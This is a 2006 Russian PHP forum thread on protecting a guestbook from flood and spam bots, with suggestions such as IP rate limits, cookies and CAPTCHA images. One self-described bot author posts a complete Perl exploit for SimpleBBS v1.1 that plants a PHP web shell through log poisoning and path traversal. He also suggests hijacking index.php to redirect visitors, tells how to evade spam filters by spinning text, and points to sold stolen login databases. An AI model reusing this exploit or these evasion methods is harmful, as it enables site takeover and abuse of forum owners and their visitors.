Форум: Форум PHPФорум ApacheФорум Регулярные ВыраженияФорум MySQLHTML+CSS+JavaScriptФорум FlashРазное
Новые темы: 0000000
PHP 5. На примерах. Авторы: Кузнецов М.В., Симдянов И.В., Голышев С.В. PHP 5/6. В подлиннике. Авторы: Кузнецов М.В., Симдянов И.В. PHP Puzzles. Авторы: Кузнецов М.В., Симдянов И.В. PHP. Практика создания Web-сайтов (второе издание). Авторы: Кузнецов М.В., Симдянов И.В. MySQL 5. В подлиннике. Авторы: Кузнецов М.В., Симдянов И.В.
ВСЕ НАШИ КНИГИ
Консультационный центр SoftTime

Форум PHP

Выбрать другой форум

 

Здравствуйте, Посетитель!

вид форума:
Линейный форум Структурный форум

тема: ЗАЩИТА От FLUD'a
 
 автор: ZooM (ССС)   (15.06.2006 в 10:58)   письмо автору
 
 

Здрасте! Хотел бы узнать какие существуют методы борьбы с флудом?!
Например у меня имеется гостевая, вся инфа лежит в БД.
Я например использую метод проверки рефера, типа если запрос идет с моего сайта то добавить пост а если не с моего то пшел нах!
Но эту защиту обойти легко!
Вот хотел бы узнать все возможные методы!!!
Я думаю что можно сделать что нить с использованием сессий, куков, ипа.
Напишете кто какие способы знает!!!

   
 
 автор: NFR   (15.06.2006 в 11:06)   письмо автору
 
   для: ZooM (ССС)   (15.06.2006 в 10:58)
 

1. Можно сравнивать отправляемый текст с уже хранящимися текстами в БД. // Однородный флуд не пройдёт
2. Можно ограничить количество запросов с одного IP в течении какого-нибудь времени. // Защитимся от ботов.

   
 
 автор: Lex   (15.06.2006 в 11:10)   письмо автору
 
   для: ZooM (ССС)   (15.06.2006 в 10:58)
 

Сдаётся мне, что ты говоришь о СПАМе, а не о ФЛУДе!

   
 
 автор: ZooM (ССС)   (15.06.2006 в 11:17)   письмо автору
 
   для: Lex   (15.06.2006 в 11:10)
 

Речь идет о ФЛУДЕ!
К справке :
Спам - массовая рассылка рекламных объявлений по электронной почте без согласия на это получателей. Спам - непрошенное рекламное сообщение, сетевой мусор, мусорная почта, рассылаемые по электронной почте…

А речь о электронной почте здесь и не идет!

>1. Можно сравнивать отправляемый текст с уже хранящимися текстами в БД. // Однородный >флуд не пройдёт
>2. Можно ограничить количество запросов с одного IP в течении какого-нибудь времени. // >Защитимся от ботов.

Проверка текста на уже существующий не покатит! Так как можно сделать переменную при флуде и привязывать ее к имени или посту .
А вот второй вариант более подходящий! Можно исходник ?! :)

   
 
 автор: Panker   (15.06.2006 в 11:29)   письмо автору
 
   для: ZooM (ССС)   (15.06.2006 в 11:17)
 

Даёщ куки юзеру, при добавлении проверяеш, если есть куки то как ты сказал нах, если нету заносиш пост и даёш куки!
куки давай на то время которое не хочеш что бы повторялись! кочрео дай на 10 минут и всё )) через 10 миунт они унечтожатся и ты сможеш опять принять месагу )

   
 
 автор: cheops   (15.06.2006 в 12:21)   письмо автору
 
   для: Panker   (15.06.2006 в 11:29)
 

Это современные боты легко обходят - нужно действительно к тексту привязываться.

   
 
 автор: cheops   (15.06.2006 в 12:19)   письмо автору
 
   для: ZooM (ССС)   (15.06.2006 в 11:17)
 

Термин ещё не очень устоявшийся, кроме того индекс цитируемости появился не давно, поэтому пол года назад началось явление - массовая рассылка по форумам и гостевым книгам, что эффективнее почтовой рассылки на порядки, так как позволяет поднять сайт в поисковых системах. Есть конечно очень большая опасность быть выкинутым из каталога поисковых систем навсегда и без постоянной такой работы индекс цитируемости упадёт ниже плинтуса, так как ссылки постоянно удаляют. Поэтому если это реклама в гостевой книге - вполне можно называть её спамом, как и флудом тоже.

   
 
 автор: cheops   (15.06.2006 в 12:22)   письмо автору
 
   для: ZooM (ССС)   (15.06.2006 в 11:17)
 

>А вот второй вариант более подходящий! Можно исходник ?! :)
Для этого потребуется изменить таблицу гостевой книги (добавить поле под IP-адрес) - какая она сейчас?

   
 
 автор: ZooM (ССС)   (15.06.2006 в 12:42)   письмо автору
 
   для: cheops   (15.06.2006 в 12:22)
 

CREATE TABLE 'TABLE_NAME' (
  'id' tinyint(5) NOT NULL auto_increment,
  'name' varchar(18) NOT NULL,
  'mess' text NOT NULL,
  PRIMARY KEY  ('id'),
  UNIQUE KEY 'id' ('id')
) ENGINE=MyISAM DEFAULT CHARSET=cp1251 AUTO_INCREMENT=105 ;

А вот пост (пример ):
INSERT INTO 'TABLE_NAME' ('id', 'name', 'mess') VALUES (104, 'ИМЯ', 'ПРИВЕТ! <br><font color="#707070" style="font-size: 7pt">Время/Дата:14:38:57/14:06:06</font>'),

   
 
 автор: komex   (15.06.2006 в 11:37)   письмо автору
 
   для: ZooM (ССС)   (15.06.2006 в 10:58)
 

Т.е. ты хочешь, что бы сообщения идут с твоего сайта, то добавить пост, если с другого, нет?

   
 
 автор: ZooM (ССС)   (15.06.2006 в 11:39)   письмо автору
 
   для: komex   (15.06.2006 в 11:37)
 

Это я пример защиты привел!
А вопрос заключается в названии темы!
еще для справки :
Флуд- Это многократные повторяющитеся сообщения!
а я хочу просто вести с ними борьбу!ъ

   
 
 автор: komex   (15.06.2006 в 11:42)   письмо автору
 
   для: ZooM (ССС)   (15.06.2006 в 11:39)
 

Сделай, что бы сообщения добавлялись только по прошествии определенного времени.
Или просто модерируй свой чат или форум.

   
 
 автор: himic   (15.06.2006 в 15:03)   письмо автору
 
   для: komex   (15.06.2006 в 11:42)
 

Защита картинкой, самый эфективный метод!

   
 
 автор: botovod   (15.06.2006 в 16:06)
 
   для: himic   (15.06.2006 в 15:03)
 

вам повезло, чуваки - я сам бота писал. поэтому скажу что они могут:

1.Они могут перемещаться по многоуровневым форумам спокойно, парсят html и видят DOM - могут обойти все обьекты на странице по индексу.
2.К тексту привязаться нельзя - бот меняет по таблице синонимов и альтернативных букв текст каждый раз перед отправкой - т.е. текст каждый раз РАЗНЫЙ и РАЗНОЙ ДЛИНЫ, ключевых фраз ПРАКТИЧЕСКИ НЕТУ.
3.Куки полная фигня - робот использует ActiveX и полностью имитирует человека и может менять куки как захочет, т.к. ему доступна файловая система компа.
4.Боты сидят на ДИНАМИЧЕСКИХ IP - привязка по IP - тоже фуфло.
5.Если вы думаете что таймер робота остановит то тоже ошибаетесь :) Бот без таймеров не МОЖЕТ устойчиво работать, поэтому у него очень сложная, многоуровневая таймерная система.
5.Получать емайл они МОГУТ, и читать его, и кликать по ссылкам.
6.Картинки они МОГУТ ЧИТАТЬ, но ограничено - они их парсят bitmap/ActiveX и цветами невозможно защитится.

Как защититься от бота?
1.Модерация (хотя вы будете терять посетителей)
2.Мутная картинка (с нестандартным хранением эталонного кода в зашифрованом виде- иначе даже парсить картинку ненадо - можно напрямую получить код)
3.Непользоваться массовыми скриптами - под индивидуальный скрипт затачивать бота можно только из лютой ненависти.

   
 
 автор: komex   (15.06.2006 в 16:11)   письмо автору
 
   для: botovod   (15.06.2006 в 16:06)
 

Слушай, очень интересно как делать этого бота. На каком языке ты его делал, сколько времени это заняло?

   
 
 автор: botvod   (15.06.2006 в 16:17)
 
   для: komex   (15.06.2006 в 16:11)
 

1 версия VB - 10 дней - 7000 форумов
2 версия FoxPro 8.0 -2 месяца 200 000 форумов
3 версия foxpro + php/apachi СЕЙЧАС

   
 
 автор: komex   (15.06.2006 в 16:42)   письмо автору
 
   для: botvod   (15.06.2006 в 16:17)
 

У тебя наверное исходники есть, может дашь посмотреть? Или хотя бы алгоритм написания дай. =)

   
 
 автор: RV   (15.06.2006 в 17:32)   письмо автору
 
   для: komex   (15.06.2006 в 16:42)
 

>Как защититься от бота?
Самый тупой вопрос, нарисованный на картинке типа Быть или не быть или что то в таком духе поставит в тупик пока что любого бота. Псевдо 3д картинка со словом тоже неплохо.
Проблема не в умности ботов и ботоводов. Проблема в тупости и недостаточной фантазии защитников

   
 
 автор: botovod   (16.06.2006 в 08:17)
 
   для: RV   (15.06.2006 в 17:32)
 

сейчас боты в чистом виде уже не актульны.
в интернете уже бродят КИБОРГИ - операторы (люди) в оболочке из ботовских программ.
и картинки с цифрами и вопросами их уже неостанавливают НИКАК. их производительность ниже бота, но намного выше человека, т.к. практически все функции автоматизированы, кроме критичных, и сайт он видит в сокращеном виде, в виде таблицы. их цель - быстрые форумы с большой посещаемостью и развитой модерацией.

а на подходе новая технология - БОТХАКИ - их цель изменить index.php и слить всех посетителей с сайта, используя стандартные эксплойты. Так, приведеный ниже эксплойт может получить управление над сайтом с форумом SimpleBBS v1.1.

#!/usr/bin/perl -w
# SimpleBBS v1.1(posts.php) remote command execution Xploit
use IO::Socket;
sub main::urlEncode {
    my ($string) = @_;
    $string =~ s/(\W)/"%" . unpack("H2", $1)/ge;
    #$string# =~ tr/.//;
    return $string;
 }
$serv=$ARGV[0];
$path=$ARGV[1];
$cmd=""; for ($i=2; $i<=$#ARGV; $i++) {$cmd.="%20".urlEncode($ARGV[$i]);};
if (@ARGV < 3)
{
print "Usage:\r\n";
print "\n\n[*] usage: WD-SMPL.pl <host> <Path> <cmd>\n";
    print "[*] usage: WD-SMPL.pl www.HosT.com /SimpleBBS/ cmd (ls -ali\n";
print "[*] uid=90(nobody) gid=90(nobody) egid=90(nobody) \n";
exit();
}

  $sock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$serv", Timeout  => 10, PeerPort=>"http(80)")
  or die "[+] Connecting ... Could not connect to host.\n\n";

  $shell='<?php ob_clean();echo"Hi Master!\r\n";ini_set("max_execution_time",0);passthru($_GET[CMD]);die;?>';
  $shell=urlEncode($shell);
  $data="loginname=sun&passwd=sun";
  print $sock "POST ".$path."users.php HTTP/1.1\r\n";
  print $sock "Host: ".$serv."\r\n";
  print $sock "Content-Length: ".length($data)."\r\n";
  print $sock "Cookie: gl_session=%27".$shell."\r\n";
  print $sock "Connection: Close\r\n\r\n";
  print $sock $data;
  close($sock);

  $sock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$serv", Timeout  => 10, PeerPort=>"http(80)")
  or die "[+] Connecting ... Could not connect to host.\n\n";

  $xpl="../logs/error.log";
  $xpl=urlEncode($xpl)."%00";
  print $sock "GET ".$path."data/posts.php?cmd=".$cmd." HTTP/1.1\r\n";
  print $sock "Host: ".$serv."\r\n";
  print $sock "Cookie: language=".$xpl.";\r\n";
  print $sock "Connection: Close\r\n\r\n";
  while ($answer = <$sock>) {
    print $answer;
  }
  close($sock);


далее ему останется только мочкануть index.php в корне сайта, и вставить в него типа :header ("Location: http://www......") - и все посетители сайта идут на указанный сайт.
и картинки с вопросами и цифрами тут сааавсем непомогут :)))) причем заметте, тут все можно сделать на полном автомате.

По поводу алгоритмов и описаний - я бы наверное смогбы написать целую книгу по ботам, но меня интересует корысный аспект - сколько я смог бы получить денежек.

а по поводу тупости и недостаточной фантазии защитников - дак тут все просто - я занимаюсь програмированием уже 17 лет, и есть например вебмастер, с трудом установивший стандартный скрипт форума или чата с опытом менее года. На кого вы поставите - на защиту, или на нападение !?? ;))

   
 
 автор: Fanat   (15.06.2006 в 22:35)   письмо автору
 
   для: ZooM (ССС)   (15.06.2006 в 10:58)
 

Да тема с флудом очень актуальна.... особенно когда в твою гостевую разную дрянь боты постят ежедневно.... модерировать устанешь. Да и к каждой форме прикручивать защитные катинки не очень хочется... мда...

Вот про написание ботов очень интересно... подскажите где про принцип можно почитать...
ест-но кодом никто делиться не будет :) и ето правильно...

   
 
 автор: botovod   (16.06.2006 в 08:40)
 
   для: Fanat   (15.06.2006 в 22:35)
 

приведенное выше показывает, в какой попе Вы находитесь..
вы пытаетесь использовать устаревшую систему защиты против очень технологичных программ, по уровню выше форумных / чатовых технологий и проигрываете.

действительно, хорошие боты не выложены в инете и их нигде нельзя скачать.
то что там имеется - это дешевый ширпотреб, от которого можно защитится
картинкой, типа

<? // protect_picture.php - in file
    
if (!isset($code)) $code "0";  $code=htmlspecialchars($code);
    
$code=base_convert($code,30,10);
    
$im ImageCreateFromGif('img/protection.gif');;
    
header("Content-type: image/gif");
        
$ct ImageColorAllocate($im000);
         
ImageTTFText($im20152040$ct,"arial",$code);
    
ImageGif($im);
?>    



<? srand((float)microtime()*1000000);$code=rand(1000,9999); ?>
<img src="protect_picture.php?code=<? echo base_convert($code,10,30?>">


но против серьезного бота или киборга - это ниочемная защита.

   
 
 автор: INTERESNO   (16.06.2006 в 09:31)
 
   для: botovod   (16.06.2006 в 08:40)
 

это код взят из технологии почтовых маяков и переписан за несколько минут по теме :))

и научитесь отличать сначала спам от флуда и флейма, а потом может и дальше продвинитесь :))))

   
 
 автор: himic   (16.06.2006 в 09:37)   письмо автору
 
   для: botovod   (16.06.2006 в 08:40)
 

А что вы скажите насчёт яндекса?
Там я думаю крутая защита картинкой стоит

   
 
 автор: himic   (16.06.2006 в 09:41)   письмо автору
 
   для: himic   (16.06.2006 в 09:37)
 

>спам от флуда и флейма
мне например не нравятся эти англицкие слова
надо чаще употреблять Русские выражения
напр: Массовая рассылка

   
 
 автор: botovod   (16.06.2006 в 09:46)
 
   для: himic   (16.06.2006 в 09:37)
 

все ресурсы яндекса находятся уже более 2 лет под контролем ботов
если интересует, на plati.ru можно купить базу логинов yandex.ru / narod.ru

   
 
 автор: botovod   (16.06.2006 в 10:38)
 
   для: botovod   (16.06.2006 в 09:46)
 

кстати, они строят свою зщиту на анализе подобия текста эталонному.
они заводят буфер с последними сообщениями и с ним сравнивают текущий текст при добавлении - если он совпадает на сколькото процентов, то он режется. но текст, генерированый по таблице синонимов (фасетный способ) он неберет :))))

 // в тексте ставляется код вида
 $a=faset(" (|Привет,|Здравствуйте,|Hi,|) (|чуваки!|господа!|друзья!|) ");
 // где faset() просто случаным образом выбирает строку из подстроки в скобках
 // и получает текст $a=" Привет, друзья! " - 3х3=9 вариантов

   
 
 автор: komex   (16.06.2006 в 10:40)   письмо автору
 
   для: botovod   (16.06.2006 в 10:38)
 

17 лет программирования - это круто. А ты где учился?

   
 
 автор: botovod   (16.06.2006 в 10:50)
 
   для: komex   (16.06.2006 в 10:40)
 

а где можно было учиться програмированию 17 лет назад? ;)
я учился програмировать на ДВК, УКНЦ, Радио86, Микроша, Львов ПК, Специалист, Апогей, и прочих компах самостоятельно, потом создал свою компьютерную фирму, в которой проработал 6 лет, затем продал. Сейчас вот в инете деньги заработаваю :))

   
 
 автор: botovod   (16.06.2006 в 14:28)
 
   для: botovod   (16.06.2006 в 08:40)
 

как видно из данного примера - здесь самое слабое место это защита переменной $code
она гдето должна храниться. Если она храниться в куки - то ее просто достать, если в сессии, то после получения идентификатора сессии она тоже доступна, если в файле до можно ее запросто прочитать. отсюда вывод:

ПЕРЕМЕННАЯ $code ДОЛЖНА ХРАНИТЬСЯ В MYSQL ПОД ПАРОЛЕМ И ТОЛЬКО ТАМ!.

но этого практически никто неделает, поэтому боты и "распознают" картинки в стандартных скриптах форумов! :P
можно шифровать переменную, но шифр должен быть нестандартным - алгоритм должен быть разным у разных сайтов! а на стандартных скриптах этого нет.

   
 
 автор: Loki   (16.06.2006 в 16:03)   письмо автору
 
   для: botovod   (16.06.2006 в 14:28)
 

>ПЕРЕМЕННАЯ $code ДОЛЖНА ХРАНИТЬСЯ В MYSQL ПОД ПАРОЛЕМ И ТОЛЬКО ТАМ!.
Неоднократно читал об этом и, по наивности своей, считал что так давно и делают:)

   
Rambler's Top100
вверх

Rambler's Top100 Яндекс.Метрика Яндекс цитирования